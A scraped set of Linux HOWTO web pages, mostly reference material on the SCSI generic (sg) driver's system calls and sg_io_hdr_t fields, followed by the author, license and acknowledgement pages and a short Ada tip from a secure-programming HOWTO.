  2. Assuming the SCSI adapter supports interrupts, then an interrupt is received when the request is completed. When this interrupt arrives the data transfer is complete. This means that if the SCSI command was a READ then the data is in kernel buffers (indirect IO) or in user buffers (direct or mmap-ed IO). The sg driver is informed of this interrupt via a kernel mechanism called a "bottom half" handler. Some kernel resources are freed up.

  3. The user makes a call to fetch the result of the request. If necessary, data in kernel buffers is transferred to the user space. If necessary, the sense buffer is written out to the user space. The remaining kernel resources associated with this request are freed up.

The write() call performs stage 1 while the read() call performs stage 3. If the read() call is made before stage 2 is complete then it will either wait or yield EAGAIN (depending on whether the file descriptor is blocking or not). If asynchronous notification is being used then stage 2 will send a SIGPOLL signal to the user process. The poll() system call will show this file descriptor is now readable (unless it was sent by the SG_IO ioctl()).

The SG_IO ioctl() performs stage 1, waits for stage 2 and then performs stage 3. If the file descriptor in question is set O_NONBLOCK then SG_IO will ignore this and still block! Also a SG_IO call will not effect the poll() state nor cause a SIGPOLL signal to be sent. If you really want non-blocking operation (e.g. for command queuing) then don't use SG_IO; use the write() read() sequence instead.

For more information about normal (or indirect), direct and mmap-ed IO see Chapter 9 .

Currently the sg driver uses one Linux major device number (char 21) which in the lk 2.4 series limits it to handling 256 SCSI devices. Any attempt to attach more than this number will rejected with a message being sent to the console and the log file. [1]

Notes

[1]

Patches exist for sg to extend the number of SCSI devices past the 256 limit when the device file system (devfs) is being used.

Prev | Home | Next
Interface |  | The sg_io_hdr_t structure in detail


What the sg driver does

The Linux SCSI Generic (sg) HOWTO
Prev Next

Chapter 2. What the sg driver does

The sg driver permits user applications to send SCSI commands to devices that understand them. SCSI commands are 6, 10, 12 or 16 bytes long [1]. The SCSI disk driver (sd), once device initialization is complete, only sends SCSI READ and WRITE commands. There a several other interesting things one might want to do, for example, perform a low level format or turn on write caching.

Associated with some SCSI commands there is data to be written to the device. A SCSI WRITE command is one obvious example. When instructed, the sg driver arranges for data to be transferred to the device along with the SCSI command. It is possible that the lower level driver (often known as the "Host Bus Adapter" [HBA] or simply "adapter" driver) is unable to send the command to the device. An example of this occurs when the device does not respond in which case a 'host_status' or 'driver-status' error will be conveyed back to the user application.

All going well the SCSI command (and optionally some data) are conveyed to the device. The device will respond with a single byte value called the 'scsi_status'. GOOD is the scsi status indicating everything has gone well. The most common other status is CHECK CONDITION. In this latter case, the SCSI mid level issues a REQUEST SENSE SCSI command The response of the REQUEST SENSE is 18 bytes or more in length and is called the "sense buffer". It will indicate why the original command may not have been executed. It is important to realize that a CHECK CONDITION may vary in severity from informative (e.g. command needed to be retried before succeeding) to fatal (e.g. "medium error" which often indicates it is time to replace the disk).

So in all cases a user application should check the various status values. If necessary the "sense buffer" will be copied back to the user application. SCSI commands like READ convey data back to the user application (if they succeed). The sg driver arranges for this data transfer from the device to the user space, if necessary.

The description so far has concentrated on a disk device, but in reality the sg driver is not needed very often for disks because there already is a purpose built device driver for that: sd. The same is true of reading audio and data CDs (sr [scd]) and tapes (st). However scanners that understand the SCSI command set and CDR "burning" programs tend to use the sg driver. Other applications include tape "robots" and music CD "ripping".

To find out more about SCSI (draft) standards and resources visit www.t10.org. To use the sg device driver you should be familiar with the SCSI commands supported by the device that you wish to control. Getting hold of such information for devices like scanners can be quite challenging (if the vendor does not provide it).

The first SCSI command sent to a SCSI device when it is initialized is an INQUIRY. All SCSI devices should respond promptly to an INQUIRY supplying information such as the vendor, product designation and revision. Appendix C shows the sg driver being used to send an INQUIRY and print out some of the information in the response.

Notes

[1]

SCSI command opcode 0x7f does allow for variable length commands but that is not supported in Linux currently.

Prev | Home | Next
Introduction |  | Identifying the version of the SG driver


write()

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 7. System calls Next

7.2. write()

write(int sg_fd, const void * buffer, size_t count). The action of write() with a control block based on struct sg_header is discussed in the earlier document: www.torque.net/sg/p/scsi-generic.txt (i.e the sg version 2 documentation). This section describes the action of write() when it is given a control block based on struct sg_io_hdr.

The 'buffer' should point to an object of type sg_io_hdr_t and 'count' should be sizeof(sg_io_hdr_t) [it can be larger but the excess is ignored]. If the write() call succeeds then the 'count' is returned as the result.

Up to SG_MAX_QUEUE (16) write()s can be queued up before any finished requests are completed by read(). An attempt to queue more than that will result in an EDOM error. [1] The write() command should return more or less immediately. [2]

The version 2 sg driver defaulted the maximum queue length to 1 (and made available the SG_SET_COMMAND_Q ioctl() to switch it to SG_MAX_QUEUE). So for backward compatibility a file descriptor that only receives sg_header structures in its write() will have a default "max" queue length of 1. As soon as a sg_io_hdr_t structure is seen by a write() then the maximum queue length is switched to SG_MAX_QUEUE on that file descriptor.

The "const" on the 'buffer' pointer is respected by the sg driver. Data is read in from the sg_io_hdr object that is pointed to. Significantly this is when the 'sbp' and the 'dxferp' are recorded internally (i.e. not from the sg_io_hdr object given to the corresponding read() ).

Notes

[1] | The command queuing capabilities of the SCSI device and the adapter driver should also be taken into account. To this end the sg_scsi_id::h_cmd_per_lun and sg_scsi_id::d_queue_depth values returned bu ioctl(SG_GET_SCSI_ID) may be useful. Also some devices that indicate in their INQUIRY response that they can accept command queuing react badly when queuing is actually attempted.
[2] | There is a small probability it will spend some time waiting for a command block to become available. In this case the wait is interruptible. If O_NONBLOCK is active then this scenario will cause a EAGAIN.
Prev | Home | Next
open() | Up | read()


interface_id

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 6. The sg_io_hdr_t structure in detail Next

6.1. interface_id

This must be set to 'S' (capital ess). If not, the ENOSYS error message is placed in errno. The idea is to allow interface variants in the future that identify themselves with a different value. [The parallel port generic driver (pg) uses the letter 'P' to identify itself.] The type of interface_id is int.

Prev | Home | Next
The sg_io_hdr_t structure in detail | Up | dxfer_direction


dxfer_direction

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 6. The sg_io_hdr_t structure in detail Next

6.2. dxfer_direction

The type of dxfer_direction is int. This is required to be one of the following:

  • SG_DXFER_NONE /* e.g. a SCSI Test Unit Ready command */

  • SG_DXFER_TO_DEV /* e.g. a SCSI WRITE command */

  • SG_DXFER_FROM_DEV /* e.g. a SCSI READ command */

  • SG_DXFER_TO_FROM_DEV

  • SG_DXFER_UNKNOWN

The value SG_DXFER_NONE should be used when there is no data transfer associated with a command (e.g. TEST UNIT READY). The value SG_DXFER_TO_DEV should be used when data is being moved from user memory towards the device (e.g. WRITE). The value SG_DXFER_FROM_DEV should be used when data is being moved from the device towards user memory (e.g. READ).

The value SG_DXFER_TO_FROM_DEV is only relevant to indirect IO (otherwise it is treated like SG_DXFER_FROM_DEV). Data is moved from the user space to the kernel buffers. The command is then performed and most likely a READ-like command transfers data from the device into the kernel buffers. Finally the kernel buffers are copied back into the user space. This technique allows application writers to initialize the buffer and perhaps deduce the number of bytes actually read from the device (i.e. detect underrun). This is better done by using 'resid' if it is supported.

The value SG_DXFER_UNKNOWN is for those (rare) situations where the data direction is not known. It may be useful for backward compatibility of existing applications when the relevant direction information is not available in the sg interface layer. There is a (minor) performance "hit" associated with choosing this option (e.g. on the PCI bus). Some recent pseudo device drivers (e.g. USB mass storage) may have problems handling this value (especially on vendor-specific SCSI commands).

N.B. 'dxfer_direction' must have one of the five indicated values and cannot be uninitialized or zero.

If 'dxfer_len' is zero then all values are treated like SG_DXFER_NONE.

Prev | Home | Next
interface_id | Up | cmd_len


cmd_len

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 6. The sg_io_hdr_t structure in detail Next

6.3. cmd_len

This is the length in bytes of the SCSI command that 'cmdp' points to. As a SCSI command is expected an EMSGSIZE error number is produced if the value is less than 6 or greater than 16. Further, if the SCSI mid level has a further limit then EMSGSIZE is produced in this case as well. [1] The type of cmd_len is unsigned char.

Notes

[1]

Linux kernel prior to 2.4.15 limited SCSI commands to a length of 12 bytes. In lk 2.4.15 this was raised to 16 bytes. However unless lower level drivers (e.g. aic7xxx) indicate that they can handle 16 byte commands (and few currently do) then the command is aborted with a DID_ABORT host status.

Prev | Home | Next
dxfer_direction | Up | mx_sb_len


mx_sb_len

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 6. The sg_io_hdr_t structure in detail Next

6.4. mx_sb_len

This is the maximum size that can be written back to the 'sbp' pointer when a sense_buffer is output which is usually in an error situation. The actual number written out is given by 'sb_len_wr'. In all cases 'sb_len_wr' <= 'mx_sb_len' . The type of mx_sb_len is unsigned char.

Prev | Home | Next
cmd_len | Up | iovec_count


iovec_count

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 6. The sg_io_hdr_t structure in detail Next

6.5. iovec_count

This is the number of scatter gather elements in an array pointed to by 'dxferp'. If the value is zero then scatter gather (in the user space) is _not_ being used and 'dxferp' points to the data transfer buffer. If the value is greater than zero then each element of the array is assumed to be of the form:
            typedef struct sg_iovec
            {
                void * iov_base; /* starting address */
                size_t iov_len;  /* length in bytes */
            } sg_iovec_t;
Note that this structure has been named and defined in such a way to parallel "struct iovec" used by the readv() and writev() system calls in Linux. See "man 2 readv".

Note that the scatter gather capability offered by 'iovec_count' is unrelated to the scatter gather capability (often associated with DMA) offered by most modern SCSI adapters. Furthermore iovec_count's variety of scatter gather (into the user space) is only available when normal (or "indirect") IO is being used. Hence when the SG_FLAG_DIRECT_IO or SG_FLAG_MMAP_IO are set in 'flags' then 'iovec_count' should be zero.

The type of iovec_count is unsigned short.

Prev | Home | Next
mx_sb_len | Up | dxfer_len


dxfer_len

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 6. The sg_io_hdr_t structure in detail Next

6.6. dxfer_len

This is the number of bytes to be moved in the data transfer associated with the command. The direction of the transfer is indicated by 'dxfer_direction'. If 'dxfer_len' is zero then no data transfer takes place. [1]

If iovec_count is non-zero then 'dxfer_len' should be equal to the sum of iov_len lengths. If not, the minimum of the two is the transfer length. The type of dxfer_len is unsigned int.

Notes

[1]

Some HBA - SCSI device combinations have difficulties with an odd valued dxfer_len . In some cases the operation succeeds but a DID_ERROR host status is returned. So unless there is a good reason, applications that want maximum portability should avoid an odd valued dxfer_len .

Prev | Home | Next
iovec_count | Up | dxferp


dxferp

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 6. The sg_io_hdr_t structure in detail Next

6.7. dxferp

If 'iovec_count' is zero then this value is a pointer to user memory of at least 'dxfer_len' bytes in length. If there is a data transfer associated with the command then the data will be transferred to or from this user memory. If 'iovec_count' is greater than zero then this value points to a scatter-gather array in user memory. Each element of this array should be an object of type sg_iovec_t. Note that data is sometimes written to user memory (e.g. from a failed SCSI READ) even when an error has occurred.

If mmap-ed IO is selected then the value in 'dxferp' is ignored and any data transfers will be to and from the address returned by the prior mmap() call.

The type of dxferp is void * .

Prev | Home | Next
dxfer_len | Up | cmdp


cmdp

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 6. The sg_io_hdr_t structure in detail Next

6.8. cmdp

This value points to the SCSI command to be executed. The command is assumed to be 'cmd_len' bytes long. If cmdp is NULL then the system call yields an EMSGSIZE error number. The user memory pointed to is only read (not written to). The type of cmdp is unsigned char * .

Prev | Home | Next
dxferp | Up | sbp


sbp

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 6. The sg_io_hdr_t structure in detail Next

6.9. sbp

This value points to user memory of at least 'mx_sb_len' bytes length where the SCSI sense buffer will be output. Most successful commands do not output a sense buffer and this will be indicated by 'sb_len_wr' being zero. Note that there are error conditions that don't result in a sense buffer be generated. The sense buffer results from the "auto-sense" mechanism in the SCSI mid-level driver. This mechanism detects a CHECK_CONDITION status and issues a REQUEST SENSE command and conveys its response back as the "sense buffer". The type of sbp is unsigned char * .

Prev | Home | Next
cmdp | Up | timeout


timeout

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 6. The sg_io_hdr_t structure in detail Next

6.10. timeout

This value is used to timeout the given command. The units of this value are milliseconds. The time being measured is from when a command is sent until when sg is informed the request has been completed. A following read() can take as long as the user likes. Timeouts are best avoided, especially if SCSI bus resets will adversely effect other devices on that SCSI bus. When the timeout expires, the SCSI mid level attempts error recovery. Error recovery completes when the first action in the following list is successful. Note that a more extreme measure is being taken at each step.

  • the SCSI command that has timed out is aborted [1]

  • a SCSI device reset is attempted

  • a SCSI bus reset is attempted. Note this may have an adverse effect on other devices sharing that SCSI bus.

  • a SCSI host (bus adapter) reset is attempted. This is an attempt to re-initialize the adapter card associated with the SCSI device that has the timed out command.

If all these fail then the device may be set "offline" which means that it is no longer accessible (except by this driver when open()-ed O_NONBLOCK) until the machine is rebooted. Offline devices still appear in the cat /proc/scsi/scsi listing. The last column of the cat /proc/scsi/sg/devices listing shows the online/offline status of a device ("1" means online while "0" is offline). The exact status returned depends on which level of error recovery succeeded. Most likely the 'host_status' will be set to DID_ABORT or DID_RESET.

The two error statuses containing the word "TIME(_)OUT" are typically _not_ related to a command timing out. DID_TIME_OUT in the 'host_status' usually means an (unexpected) device selection timeout. DRIVER_TIMEOUT in the 'driver_status' byte means the SCSI adapter is unable to control the devices on its SCSI bus (and has given up).

The type of timeout is unsigned int (and it represents milliseconds).

Notes

[1]

Whether aborting individual commands is supported or not is left to the adapter. Many adapters are unable to abort SCSI commands "in flight" because these details are handled in silicon by embedded processors in hardware. SCSI device or bus resets are required.

Prev | Home | Next
sbp | Up | flags


flags

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 6. The sg_io_hdr_t structure in detail Next

6.11. flags

These are single or multi-bit values that can be "or-ed" together:

  • SG_FLAG_DIRECT_IO This is a request for direct IO on the data transfer. If it cannot be performed then the driver automatically performs indirect IO instead. If it is important to find out which type of IO was performed then check the values from the SG_INFO_DIRECT_IO_MASK in 'info' when the request packet is completed (i.e. after read() or ioctl(,SG_IO,) ). The default action is to do indirect IO.

  • SG_FLAG_LUN_INHIBIT The default action of the sg driver to overwrite internally the top 3 bits of the second SCSI command byte with the LUN associated with the file descriptor's device. To inhibit this action set this flag. For SCSI 3 (or later) devices, this internal LUN overwrite does not occur.

  • SG_FLAG_MMAP_IO When set the driver will attempt to procure the reserved buffer. If the reserved buffer is occupied (EBUSY) or too small (ENOMEM) then the operation (write() or ioctl(SG_IO)) fails. No data transfers occur between the dxferp pointer and the reserved buffer (dxferp is ignored). In order for a user application to access mmap-ed IO, it must have successfully executed an appropriate mmap() system call on this sg file descriptor. This precondition is not checked by write() or ioctl(SG_IO) when this flag is set. Setting this flag and SG_FLAG_DIRECT_IO results in a EINVAL error.

  • SG_FLAG_NO_DXFER When set user space data transfers to or from the kernel buffers do not take place. This only has effect during indirect IO. This flag is for testing bus speed (e.g. the "sg_rbuf" utility uses it).

The type of flags is unsigned int.

Prev | Home | Next
timeout | Up | pack_id


pack_id

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 6. The sg_io_hdr_t structure in detail Next

6.12. pack_id

This value is not normally acted upon by the sg driver. It is provided so the user can identify the request. This is useful when command queuing is being used. The "abnormal" case is when SG_SET_FORCE_PACK_ID is set and a 'pack_id' other than -1 is given to read(). In this case the read() will wait to fetch a request that matches this 'pack_id'. If this mode is used be careful to set 'dxfer_direction' to a valid value (actually any of the SG_DXFER_* values will do) on input to the read(), together with the wanted pack_id. The type of pack_id is int.

Prev | Home | Next
flags | Up | usr_ptr


usr_ptr

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 6. The sg_io_hdr_t structure in detail Next

6.13. usr_ptr

This value is not acted upon by the sg driver. It is meant to allow the user to associate some object with this request (e.g. to maintain state information). The type of usr_ptr is void * .

Prev | Home | Next
pack_id | Up | status


status

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 6. The sg_io_hdr_t structure in detail Next

6.14. status

This is the SCSI status byte as defined by the SCSI standard. Note that it can have vendor information set in bits 0, 6 and 7 (although this is uncommon). Further note that this 'status' data does _not_ match the definitions in <scsi/scsi.h> (e.g. CHECK_CONDITION). The following 'masked_status' does match those definitions. [1] The type of status is unsigned char .

Notes

[1]

Some lower level drivers (e.g. ide-scsi) clear this status field even when a CHECK_CONDITION or COMMAND_TERMINATED status has occurred. However they do set DRIVER_SENSE in driver_status field. Also a (sb_len_wr > 0) indicates there is a sense buffer.

Prev | Home | Next
usr_ptr | Up | masked_status


masked_status

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 6. The sg_io_hdr_t structure in detail Next

6.15. masked_status

Logically: masked_status == ((status & 0x3e) >> 1) . So 'masked_status' strips the vendor information bits off 'status' and then shifts it right one position. This makes it easier to do things like "if (CHECK_CONDITION == masked_status) ..." using the definitions in <scsi/scsi.h>. The defined values in this file are:

  • GOOD [0x00]

  • CHECK_CONDITION [0x01]

  • CONDITION_GOOD [0x02]

  • BUSY 0x04

  • INTERMEDIATE_GOOD 0x08

  • INTERMEDIATE_C_GOOD 0x0a

  • RESERVATION_CONFLICT 0x0c

  • COMMAND_TERMINATED 0x11

  • QUEUE_FULL 0x14

N.B. 1 bit offset from usual SCSI status values

Note that SCSI 3 defines some additional status codes. [1] The type of masked_status is unsigned char .

Notes

[1]

Some lower level drivers (e.g. ide-scsi) clear this masked_status field even when a CHECK_CONDITION or COMMAND_TERMINATED status has occurred. However they do set DRIVER_SENSE in driver_status field. Also a (sb_len_wr > 0) indicates there is a sense buffer.

Prev | Home | Next
status | Up | msg_status


msg_status

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 6. The sg_io_hdr_t structure in detail Next

6.16. msg_status

The messaging level in SCSI is under the command level and knowledge of what is happening at the messaging level is very rarely needed. Furthermore most modern chip-sets used in SCSI adapters completely hide this value. Nearly all adapters will return zero in 'msg_status' all the time. The type of msg_status is unsigned char .

Prev | Home | Next
masked_status | Up | sb_len_wr


sb_len_wr

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 6. The sg_io_hdr_t structure in detail Next

6.17. sb_len_wr

This is the actual number of bytes written to the user memory pointed to by 'sbp'. 'sb_len_wr' is always <= 'mx_sb_len'. Linux 2.2 series kernels (and earlier) truncate this value to a maximum of 16 bytes. The actual number of bytes written will not exceed the length indicated by "Additional Sense Length" field (byte 7) of the Request Sense response. The type of sb_len_wr is unsigned char .

Prev | Home | Next
msg_status | Up | host_status


host_status

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 6. The sg_io_hdr_t structure in detail Next

6.18. host_status

These codes potentially come from the firmware on a host adapter or from one of several hosts that an adapter driver controls. The 'host_status' field has the following values whose #defines mimic those which are only visible within the kernel (with the "SG_ERR_" removed from the front of each define). A copy of these defines can be found in sg_err.h (see Appendix A):

  • SG_ERR_DID_OK [0x00] NO error

  • SG_ERR_DID_NO_CONNECT [0x01] Couldn't connect before timeout period

  • SG_ERR_DID_BUS_BUSY [0x02] BUS stayed busy through time out period

  • SG_ERR_DID_TIME_OUT [0x03] TIMED OUT for other reason (often this an unexpected device selection timeout)

  • SG_ERR_DID_BAD_TARGET [0x04] BAD target, device not responding?

  • SG_ERR_DID_ABORT [0x05] Told to abort for some other reason. From lk 2.4.15 the SCSI subsystem supports 16 byte commands however few adapter drivers do. Those HBA drivers that don't support 16 byte commands will yield this error code if a 16 byte command is passed to a SCSI device they control.

  • SG_ERR_DID_PARITY [0x06] Parity error. Older SCSI parallel buses have a parity bit for error detection. This probably indicates a cable or termination problem.

  • SG_ERR_DID_ERROR [0x07] Internal error detected in the host adapter. This may not be fatal (and the command may have succeeded). The aic7xxx and sym53c8xx adapter drivers sometimes report this for data underruns or overruns. [1]

  • SG_ERR_DID_RESET [0x08] The SCSI bus (or this device) has been reset. Any SCSI device on a SCSI bus is capable of instigating a reset.

  • SG_ERR_DID_BAD_INTR [0x09] Got an interrupt we weren't expecting

  • SG_ERR_DID_PASSTHROUGH [0x0a] Force command past mid-layer

  • SG_ERR_DID_SOFT_ERROR [0x0b] The low level driver wants a retry

The type of host_status is unsigned short .

Notes

[1]

In some cases the sym53cxx driver reports a DID_ERROR when it internally rounds up an odd transfer length by 1. This is an example of a "non-error".

Prev | Home | Next
sb_len_wr | Up | driver_status


driver_status

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 6. The sg_io_hdr_t structure in detail Next

6.19. driver_status

One driver can potentially control several host adapters. For example Advansys provide one Linux adapter driver that controls all adapters made by that company - if 2 of more Advansys adapters are in 1 machine, then 1 driver controls both. When ('driver_status' & SG_ERR_DRIVER_SENSE) is true the 'sense_buffer' is also output. The 'driver_status' field has the following values whose #defines mimic those which are only visible within the kernel (with the "SG_ERR_" removed from the front of each define). A copy of these defines can be found in sg_err.h (see the utilities section):

  • SG_ERR_DRIVER_OK [0x00] Typically no suggestion

  • SG_ERR_DRIVER_BUSY [0x01]

  • SG_ERR_DRIVER_SOFT [0x02]

  • SG_ERR_DRIVER_MEDIA [0x03]

  • SG_ERR_DRIVER_ERROR [0x04]

  • SG_ERR_DRIVER_INVALID [0x05]

  • SG_ERR_DRIVER_TIMEOUT [0x06] Adapter driver is unable to control the SCSI bus to its is setting its devices offline (and giving up)

  • SG_ERR_DRIVER_HARD [0x07]

  • SG_ERR_DRIVER_SENSE [0x08] Implies sense_buffer output

  • above status 'or'ed with one of the following suggestions

  • SG_ERR_SUGGEST_RETRY [0x10]

  • SG_ERR_SUGGEST_ABORT [0x20]

  • SG_ERR_SUGGEST_REMAP [0x30]

  • SG_ERR_SUGGEST_DIE [0x40]

  • SG_ERR_SUGGEST_SENSE [0x80]

The type of driver_status is unsigned short .

Prev | Home | Next
host_status | Up | resid


resid

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 6. The sg_io_hdr_t structure in detail Next

6.20. resid

This is the residual count from the data transfer. It is 'dxfer_len' less the number of bytes actually transferred. In practice it only reports underruns (i.e. positive number) as data overruns should never happen. This value will be zero if there was no underrun or the SCSI adapter doesn't support this feature. [1] The type of resid is int .

Notes

[1]

Unfortunately some adapters drivers report an incorrect number for 'resid'. This is due to some "fuzziness" in the internal interface definitions within the Linux scsi subsystem concerning the _exact_ number of bytes to be transferred. Therefore only applications tied to a specific adapter that is known to give the correct figure should use this feature. Hopefully this will be cleared up in the near future.

Prev | Home | Next
driver_status | Up | duration


duration

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 6. The sg_io_hdr_t structure in detail Next

6.21. duration

This value will be the number of milliseconds from when a SCSI command was sent until sg is informed that it is complete. For i386 machines the granularity is 10ms while on alpha machines it is 1ms. This value is rounded toward zero. The type of duration is unsigned int .

Prev | Home | Next
resid | Up | info


info

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 6. The sg_io_hdr_t structure in detail Next

6.22. info

This value is designed to convey useful information back to the user about the associated request. This information does not necessarily indicate an error. Several single bit and multi-bit fields are "or-ed" together to make this value.

A single bit component contained in SG_INFO_OK_MASK indicates whether some error or status field is non-zero. If either 'masked_status', 'host_status' or 'driver_status' are non-zero then SG_INFO_CHECK is set. The associated values are:

  • SG_INFO_OK_MASK [0x1]

  • SG_INFO_OK [0x0] no sense, host nor driver "noise"

  • SG_INFO_CHECK [0x1] something abnormal happened. In most but not all cases, the sense buffer will be written. If the sense buffer has not been written than 'sb_len_wr' will be zero. This flag indicates either 'masked_status', 'host_status' or 'driver_status' is non-zero.

A multi bit component contained in SG_INFO_DIRECT_IO_MASK indicates what type of data transfer has just taken place. If indirect IO (or no data transfer) has taken place then SG_INFO_INDIRECT_IO is matched. Note that even if direct IO was requested in 'flags' the driver may choose to do indirect IO instead. If direct IO was requested and performed then SG_INFO_DIRECT_IO will be matched. Currently SG_INFO_MIXED_IO is never set. The associated values are:

  • SG_INFO_DIRECT_IO_MASK [0x6]

  • SG_INFO_INDIRECT_IO [0x0] data xfer via kernel buffers (or no xfer)

  • SG_INFO_DIRECT_IO [0x2]

  • SG_INFO_MIXED_IO [0x4] part direct, part indirect IO

The type of info is unsigned int .

Prev | Home | Next
duration | Up | System calls


About the Author

Secure Programming for Linux and Unix HOWTO
Prev

Appendix F. About the Author

David A. Wheeler is an expert in computer security and has long specialized in development techniques for large and high-risk software systems. He has been involved in software development since the mid-1970s, and been involved with Unix and computer security since the early 1980s. His areas of knowledge include computer security, software safety, vulnerability analysis, inspections, Internet technologies, software-related standards (including POSIX), real-time software development techniques, and numerous computer languages (including Ada, C, C++, Perl, Python, and Java).

Mr. Wheeler is co-author and lead editor of the IEEE book Software Inspection: An Industry Best Practice, author of the book Ada95: The Lovelace Tutorial, and co-author of the GNOME User's Guide. He is also the author of many smaller papers and articles, including the Linux Program Library HOWTO.

Mr. Wheeler hopes that, by making this document available, other developers will make their software more secure. You can reach him by email at dwheeler@dwheeler.com (no spam please), and you can also see his web site at http://www.dwheeler.com.

Prev | Home
Endorsements |


About the Documentation License

Secure Programming for Linux and Unix HOWTO
Prev Next

Appendix C. About the Documentation License

A copy of the text of the edict was to be issued as law in every province and made known to the people of every nationality so they would be ready for that day.
Esther 3:14 (NIV)

This document is Copyright (C) 1999-2000 David A. Wheeler. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License (FDL), Version 1.1 or any later version published by the Free Software Foundation; with the invariant sections being ``About the Author'', with no Front-Cover Texts, and no Back-Cover texts. A copy of the license is included below in Appendix D.

These terms do permit mirroring by other web sites, but be sure to do the following:

  • make sure your mirrors automatically get upgrades from the master site,

  • clearly show the location of the master site (http://www.dwheeler.com/secure-programs), with a hypertext link to the master site, and

  • give me (David A. Wheeler) credit as the author.

The first two points primarily protect me from repeatedly hearing about obsolete bugs. I do not want to hear about bugs I fixed a year ago, just because you are not properly mirroring the document. By linking to the master site, users can check and see if your mirror is up-to-date. I'm sensitive to the problems of sites which have very strong security requirements and therefore cannot risk normal connections to the Internet; if that describes your situation, at least try to meet the other points and try to occasionally sneakernet updates into your environment.

By this license, you may modify the document, but you can't claim that what you didn't write is yours (i.e., plagiarism) nor can you pretend that a modified version is identical to the original work. Modifying the work does not transfer copyright of the entire work to you; this is not a ``public domain'' work in terms of copyright law. See the license in Appendix D for details. If you have questions about what the license allows, please contact me. In most cases, it's better if you send your changes to the master integrator (currently David A. Wheeler), so that your changes will be integrated with everyone else's changes into the master copy.

I am not a lawyer, nevertheless, it's my position as an author and software developer that any code fragments not explicitly marked otherwise are so small that their use fits under the ``fair use'' doctrine in copyright law. In other words, unless marked otherwise, you can use the code fragments without any restriction at all. Copyright law does not permit copyrighting absurdly small components of a work (e.g., ``I own all rights to B-flat and B-flat minor chords''), and the fragments not marked otherwise are of the same kind of minuscule size when compared to real programs. I've done my best to give credit for specific pieces of code written by others. Some of you may still be concerned about the legal status of this code, and I want make sure that it's clear that you can use this code in your software. Therefore, code fragments included directly in this document not otherwise marked have also been released by me under the terms of the ``MIT license'', to ensure you that there's no serious legal encumbrance:

  Source code in this book not otherwise identified is
  Copyright (c) 1999-2001 David A. Wheeler.

  Permission is hereby granted, free of charge, to any person
  obtaining a copy of the source code in this book not
  otherwise identified (the "Software"), to deal in the
  Software without restriction, including without limitation
  the rights to use, copy, modify, merge, publish, distribute,
  sublicense, and/or sell copies of the Software, and to
  permit persons to whom the Software is furnished to do so,
  subject to the following conditions:

  The above copyright notice and this permission notice shall be
  included in all copies or substantial portions of the Software.

  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
  EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
  WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
  PURPOSE AND NONINFRINGEMENT.
  IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
  LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
  WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
  ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE
  OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

Prev | Home | Next
Acknowledgements |  | GNU Free Documentation License


Acknowledgements

Secure Programming for Linux and Unix HOWTO
Prev Next

Appendix B. Acknowledgements

As iron sharpens iron, so one man sharpens another.
Proverbs 27:17 (NIV)

My thanks to the following people who kept me honest by sending me emails noting errors, suggesting areas to cover, asking questions, and so on. Where email addresses are included, they've been shrouded by prepending my ``thanks.'' so bulk emailers won't easily get these addresses; inclusion of people in this list is not an authorization to send unsolicited bulk email to them.

  • Neil Brown (thanks.neilb@cse.unsw.edu.au)

  • Martin Douda (thanks.mad@students.zcu.cz)

  • Jorge Godoy

  • Scott Ingram (thanks.scott@silver.jhuapl.edu)

  • Michael Kerrisk

  • Doug Kilpatrick

  • John Levon (moz@compsoc.man.ac.uk)

  • Ryan McCabe (thanks.odin@numb.org)

  • Paul Millar (thanks.paulm@astro.gla.ac.uk)

  • Chuck Phillips (thanks.cdp@peakpeak.com)

  • Martin Pool (thanks.mbp@humbug.org.au)

  • Eric S. Raymond (thanks.esr@snark.thyrsus.com)

  • Marc Welz

  • Eric Werme (thanks.werme@alpha.zk3.dec.com)

If you want to be on this list, please send me a constructive suggestion at dwheeler@dwheeler.com. If you send me a constructive suggestion, but do not want credit, please let me know that when you send your suggestion, comment, or criticism; normally I expect that people want credit, and I want to give them that credit. My current process is to add contributor names to this list in the document, with more detailed explanation of their comment in the ChangeLog for this document (available on-line). Note that although these people have sent in ideas, the actual text is my own, so don't blame them for any errors that may remain. Instead, please send me another constructive suggestion.

Prev | Home | Next
History |  | About the Documentation License


Ada

Secure Programming for Linux and Unix HOWTO
Prev Chapter 9. Language-Specific Issues Next

9.5. Ada

In Ada95, the Unbounded_String type is often more flexible than the String type because it is automatically resized as necessary. However, don't store especially sensitive values such as passwords or secret keys in an Unbounded_String, since core dumps and page areas might still hold them later. Instead, use the String type for this data and overwrite the data as soon as possible with some constant value such as others => ' '.

Prev | Home | Next
Shell Scripting Languages (sh and csh Derivatives) | Up | Java


Audit

Secure Programming for Linux and Unix HOWTO
Prev Chapter 3. Summary of Linux and Unix Security Features Next

3.8. Audit

